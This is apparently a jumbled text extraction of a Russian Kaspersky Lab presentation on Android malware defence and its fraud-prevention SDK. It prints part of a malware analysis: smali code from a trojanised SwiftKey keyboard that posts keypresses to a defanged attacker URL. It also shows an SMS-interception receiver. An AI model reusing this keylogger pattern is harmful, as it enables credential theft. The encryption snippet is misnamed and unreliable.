KFP SDK STRUCTURE and functionality

advertisement
МОБИЛЬНЫЕ УГРОЗЫ: ЗАЩИЩАЙСЯ!
Vladimir Ivanov
Senior Developer, Kaspersky Lab
ЗАЩИТА МОБИЛЬНЫХ ПРИЛОЖЕНИЙ ЭТО В ПЕРВУЮ ОЧЕРЕДЬ ПРО ANDROID
СМАРТФОНЫ ANDROID ДЕЙСТВИТЕЛЬНО ПОПУЛЯРНЫ. КАК
И ЗЛОВРЕДЫ ДЛЯ НИХ
1,100,000,000+
1
3
statisticbrain.com
1
Число активных пользователей платформы
350,000
1
Среднее число ежедневных активаций
86%
1
Общая доля платформы
ПОПУЛЯРНОСТЬ ЗЛОВРЕДОВ ДЛЯ ANDROID
Зловредные APK
9000000
8000000
7000000
6000000
5000000
4000000
3000000
10,000,000+
Число зловредных приложения
(APK в коллекции Лаборатории)
120,000
Среднее число новых образцов
2000000
1000000
0
Source: Kaspersky Lab Security Network
4
ПРИМЕР ЗЛОВРЕДА
Trojan-SMS.AndroidOS.Svpeng.a
5
1.
Отправляет sms на премиум-номера
2.
Используется банковские сервисы через sms
3.
Прячет sms от банка
4.
Крадет sms и звонки
ПРИМЕР ЗЛОВРЕДА - 2
Trojan-SMS.AndroidOS.Svpeng.a, next version
1.
Отрисовка поверх экрана
Больше ада в докладе Романа Унучека на
codefreeze
6
ПОПУЛЯРНОСТЬ БАНКОВСКИХ ЗЛОВРЕДОВ
12100
Число банковских зловредов
2,500
Среднее число новых зловредов
x10
Годовой рост
Source: Kaspersky Lab Security Network
7
СХЕМЫ РАСПРОСТРАНЕНИЯ: СТАРЫЕ И НОВЫЕ ТЕХНОЛОГИИ
Exploits, Phishing &
Social Engineering
Web Injects
App Stores
Official App Stores
Drive-by
Downloads
Repackaged apps
SMS Spam
Fake apps
3rd Party App Stores
8
Suspicious apps
БЕЗОПАСНОСТЬ МОБИЛЬНОГО ПРИЛОЖЕНИЯ
Нативные библиотеки
SQLite
Файлы
Связь
Банковское
приложение
Взлом
устройства
Вредоносы
Ошибки
реализации
Модификация
кода
SMS Троян
Логирование
клавиш
KeyChain
SSL Сокеты
Подпись
приложения
Двухфакторная
аутентификация
9
ОБЕСПЕЧЕНИЕ БЕЗОПАСНОСТИ ПРИЛОЖЕНИЙ
1
Удостоверить устройство
•
•
•
•
3
Проверить на взлом
Проверить прошивку и версию
ПО
Проверить на подозрительные
приложения
Получить отпечаток устройства
Защитить соединение
•
•
•
•
Проверить точку доступа
Проверить DNS и Сертификаты
Установить безопасное
соединение
Отследить фишинговые сайты
5
Защитить устройство
4
Защитить данные
•
•
•
•
•
•
•
Защитить приложение
•
•
10
2
Убедиться в консистентности
приложения
Защититься от отладки
Проверить наличие зловредов
Удалить вредоносные файлы
Определить, когда вредоносы
проникают в систему
Защитить конфиденциальные
SMS
Предотвратить кражу данных
при вводе
Зашифровать файлы с данными
Зашифровать базы данных
ОПРЕДЕЛЕНИЕ РИСКОВ
11
ОПРЕДЕЛЕНИЯ ВЗЛОМА
Android root:
Проверить ‘buildtags’
Проверить наличие
superuser.apk
Проверить “su”
Проверить доступность на
запись в /data
Известные ЛK jailbreaks:
12
• redsn0w
• absinthe 2
• limera1n
• evasi0n
• absinthe
• purplera1n
iOS jailbreak:
Проверить возможность
изменения файлов
приложения(бинарники)
Прочитать конфиг fstab и
проверить его
модификацию
Системное
АПИ(system(NULL))
Приложения cydia и cydia
scheme
ЧТО ДЕЛАТЬ: ПРОГРАММНО ПРОВЕРЯТЬ ВЗЛОМ
public static boolean checkRootWhichSu() {
Process process = null;
try {
process = Runtime.getRuntime().exec(new String[] {
"/system/xbin/which",
"su"
});
final BufferedReader in = new BufferedReader(
new InputStreamReader(process.getInputStream()));
return in.readLine() != null;
} catch (Throwable t) {
return false;
} finally {
if (process != null) {
process.destroy();
}
}
}
*from http://stackoverflow.com/questions/1101380/determine-if-running-on-a-rooted-device
13
ОТПЕЧАТОК УСТРОЙСТВА
Android
Местоположение
Android ID
Локаль
Время
Версия ОС
Серийный номер Sim
Wi-Fi IP Адрес
IMEI
Модель
Размер экрана
MAC адрес Wi-Fi
14
iOS
ID Устройства
Модель устройства
Имя устройства
Имя системы
Версия ОС
ID продавца (>=iOS 6)
Wi-Fi Mac Адрес(<= iOS 6)
Разрешение экрана
Локаль
IP Адрес
Время
Местоположение
ЗАЩИТА УСТРОЙСТВА
15
ЯДРО ТЕХНОЛОГИИ СКАНИРОВАНИЯ
Ключ: многоступенчатая проверка
Сигнатуры и общие механизмы
Локальный сигнатурный анализ
Облачное сканирование
Проверка хэш-сумм файлов по облачной базе
16
НАШИ ДВИЖКИ
Сигнатурный
17
Эвристический
Поведенческий
ЗАЧЕМ НУЖНА ЭВРИСТИКА
Эвристический движок:
AVP3 Modifications
Trojan-Spy.AndroidOS.Geinimi
Backdoor.AndroidOS.KungFu
Защищает от новых и неизвестных образцов
Trojan-Spy.AndroidOS.Adrd
Увеличивает вероятность обнаружения
Backdoor.AndroidOS.BaseBrid
Mobile signatures
Heuristic signatures
17
7
19
14
17
3
9
3
30
2
6
6
3
13
4
2
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
376
283
234
148
Trojan-SMS.AndroidOS.FakeInst
Использует те же базы, что и десктопный продукт128
Trojan-SMS.AndroidOS.Boxer
Одна сигнатура на
Trojan-SMS.AndroidOS.Opfake
Backdoor.AndroidOS.Yzhc
Trojan-SMS.AndroidOS.Jifake
Backdoor.AndroidOS.Rooter
Trojan-Spy.AndroidOS.Nickspy
Trojan-SMS.AndroidOS.Raden
К примеру
семейство
126
65
48
36
35
22
20
На данный момент 376 AVP3 сигнатур для Trojan-Spy.AndroidOS.Geinimi
Trojan-SMS.AndroidOS.SendPay
19
заключены в 17 файлах
Trojan-SMS.AndroidOS.FakeP
16
Trojan-Spy.AndroidOS.Flexispy
5
Всего 1 эвристичекая сигнатура определяетSpy.AndroidOS.Geinimi
(!)
Backdoor.AndroidOS.Fakengry
3
18
КАК РАБОТАЕТ ПОВЕДЕНЧЕСКОЕ СКАНИРОВАНИЕ
Google Play
Поведенческий
лог
APK File
Иные источники
скачивание
dex
patched
files dex files
скачивание
resources
Память
pictures
Перехватчик
установка
Перепаковка
Измененное
приложение
установка
использование
использование
19
android.app.Application.getSystemService("window")
com.kms.sandbox.SBActivity1.getSystemService("connectivity")
android.app.Application.getSystemService("connectivity")
android.app.Application.getSystemService("phone")
android.telephony.TelephonyManager.getSimOperator()
com.kms.sandbox.SBActivity1.getClass()
com.kms.sandbox.SBActivity1.getSystemService("connectivity")
android.app.Application.getSystemService("activity")
android.telephony.TelephonyManager.getDeviceId()
android.telephony.TelephonyManager.getNetworkCountryIso()
org.apache.http.message.BasicStatusLine.toString()
android.app.Application.getSystemService("location")
java.io.File.toString()
java.io.File.toString()
java.io.File.exists()
java.io.File.exists()
java.io.File.createNewFile()
android.app.ContextImpl$ApplicationPackageManager.getInstal
ledPackages(0)
java.io.FileOutputStream.write([B@406258b8)
com.kms.sandbox.SBActivity1.startActivity(Intent {
act=android.service.wallpaper.LIVE_WALLPAPER_CHOOSER
(has extras) })
com.kms.sandbox.SBActivity1.startActivity(Intent {
cmp=com.livegame.wallpaperxingqiumj/com.kms.sandbox.SBA
ctivity2 })
so
kl-hools.so
files
other
patched so files
other
эмуляция
ПОЧЕМУ НУЖНО ПРОВЕРЯТЬ КАРТИНКИ
1. Злоумышленники прячут исполняемый код в картинках
2. Злоумышленники прячут целые APK в картинках!
20
СЕТЕВАЯ ЗАЩИТА
21
АНАЛИЗ БЕЗОПАСНОСТИ ТОЧЕК WI-FI
Облако
запрос
разрешение
запрет
Попытка
соединения
разрешение
Мобильное
устройство
22
интернет
Бесплатный
Wi-Fi
ЧТО ДЕЛАТЬ: АНАЛИЗИРОВАТЬ ПАРАМЕТРЫ ТОЧКИ
public static void ensureWifiSecurity(Context context) {
WifiManager wifimanager = (WifiManager)
context.getSystemService(Context.WIFI_SERVICE);
Method[] methods = wifimanager.getClass().getDeclaredMethods();
for (Method m : methods) {
if (m.getName().equals("getWifiApConfiguration")) {
try {
WifiConfiguration config = (WifiConfiguration)
m.invoke(wifimanager);
BitSet allowedAuthAlgorithms =
config.allowedAuthAlgorithms;
// TODO : analyze the config
} catch (Exception e) {
// TODO : log
}
}
}
}
23
ЗАЩИЩАЯ СЕТЕВЫЕ СОЕДИНЕНИЯ
Apache
HTTP Client
Lib
URL
Reputation
Certificate
Validation
KSN
24
DNS
Verification
ВЕБ-ФИЛЬТР ПРОТИВ ФИШИНГА
Kaspersky Product Platform
Phishing
Анализ изображений
Bank logo
Fake site
KFP Mobile SDK
Malware
Site address
База доверенных сайтов
База фишинговых сайтов
Эвристические
механизмы
Data form
Fake mail
25
Kaspersky
Security Network
ЗАЩИТА ДАННЫХ
26
SMS ТРОЯНЫ
Sms трояны занимают треть всех
мобильных зловредов(33.5%)
ZitMo, SpitMo & CitMo – sms-трояны,
взаимодействующие с десктопными
зловредами ZeuS, SpyEye & Carberp
SMS Трояны перехватывают одноразовые
пароли
27
РАБОТА СМС-ТРОЯНА
Входящее
смс от банка
SMS Троян
Командный
сервер
Прервать
Broadcast
Перехватить
SMS Хранилище
28
Un-obfuscated source code of an SMS Trojan’s intercept
method
ЧТО ДЕЛАТЬ: КОНТРОЛИРОВАТЬ ПОЛУЧЕНИЕ
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter android:priority="2147483647">
<action
android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
Входящее
СМС от банка
private static final String SMS_RECEIVED =
"android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context context, Intent
intent) {
if (SMS_RECEIVED.equals(intent.getAction())) {
Bundle bundle = intent.getExtras();
// TODO : parse extras for messages
}
29
хранилище смс
Слой
Смс троян
безопасности
Банковское
Хранилище
приложение
ЗАЩИТА ДАННЫХ: ПОКИДАНИЕ ПЕСОЧНИЦЫ
Приложения исполняются в песочнице
Эксплуатируя ошибки и уязвимости в системных приложениях и сервисах можно
выполнять код от лица системы
30
ЗАЩИТА ДАННЫХ
Если хранятся данные, то вредонос или сам злоумышленник при наличии устройства
может эти данные получить
Вредонос
Attacker C2
Server
31
Data Storage
ЧТО ДЕЛАТЬ: СИММЕТРИЧНОЕ ШИФРОВАНИЕ
Шифруем все файлы и БД с важными данными
public static void ensureWifiSecurity(SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key);
CipherOutputStream cos = new CipherOutputStream(new FileOutputStream("ciphertext"),
cipher);
PrintWriter pw = new PrintWriter(new OutputStreamWriter(cos));
pw.println("Stand and unfold yourself");
pw.close();
}
Пароль
Зашифрованная
БД/Файлы
Слой безопасности
Приложение
32
ПЕРЕХВАТ НАЖАТИЙ
Smali – ассемблер для Dalvik
https://code.google.com/p/smali/
new-instance v0, Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost;
invoke-direct {v0, p0, v2},
Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost;->
<init>(Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;Ljava/util/HashMap;)V
33
ПОДМЕНА ПОПУЛЯРНОЙ КЛАВИАТУРЫ
.class public abstract Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;
Unpack/Decode
Byte Code
(‘smali’)
Inject Keylogger
Code
Repack & Sign
Distribution
# direct methods
.method public constructor
(Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V
.parameter "extractedText"
.parameter "inputText"
…
invoke-direct {p0, p1, p2},
Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;>(Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V
…
.line 152
new-instance v0,
Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost;
invoke-direct {v0, p0, v2},
Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost;><init>(Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;Ljava/util/HashM
ap;)V
.line 153
asyncHttpPost:Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpP
ost;
const/4 v3, 0x1
const-string v5, "hxxp://czqklsjdf.ru/swiftkey/keypresses.php"
…
.line 9
return-void
.end method
Keylogger found within Android byte code of a modified version of SwiftKey
34
ПЕРЕХВАТ ЭКРАНА
Приложения перехвата нажатий имеют
доступ к READ_FRAME_BUFFER через
ADB (Android Debug Bridge) без
получения рутовых прав
Опция логирования включается, когда
зловред определяет, что запущено
банковское приложение
Захваченные нажатия сверяются с
картой соответствия для экрана
Захваченные данные отправляются на
сервер
35
ЧТО ДЕЛАТЬ: СВОЯ КЛАВИАТУРА
Создать компонент клавиатуры для ввода
критических данных: логины, пароли,
одноразовые ключи
1. Переставить клавиши
2. Поддержать EditText и WebView
36
САМОЗАЩИТА
37
НАРУШЕНИЕ ЦЕЛОСТНОСТИ: ПРОВЕРКА ПОДПИСИ
Угрозы, связанные с нарушением целостности
Подмена сущностей
Приложение
Раскрытие
информации
Передача данных на сервера
атакующего
Раскрытие ключей,
сертификатов и алгоритмов
38
Изменение логики
Отказ в обслуживании
Перенаправление финансовых
транзакций
Частые падения,
неработающие функции
Частичный отказ
Подъем привелегий
Отказ в статистике,
логировании и т.д.
Использование привелегий,
бонусов и т.д.
MANIFEST.MF
CERT.MF
x509 Проверка
Обфускация кода
KASPERSKY FRAUD PREVENTION SDK
Отпечаток устройства
Антивирус
Сертификаты
Веб-Антифишинг
Проверка DNS
Проверка WiFi
Защита от
кейлоггеров
Защита от СМС
Проверка целостности
Шифрование файлов
и БД
39
Отпечаток устройства
Веб-Антивирус
Веб-Антифишинг
Проверка сертификатов
Проверка DNS
Проверка WiFi
Защита от кейлоггеров
Проверка целостности
Шифрование файлов и
БД
Отпечаток устройства
Веб-Антивирус
Веб-Антифишинг
Проверка DNS
Проверка WiFi
Проверка целостности
Шифрование файлов
ВОПРОСЫ?
KFP_HQ@kaspersky.com
www.kaspersky.com/fraudprevention
Download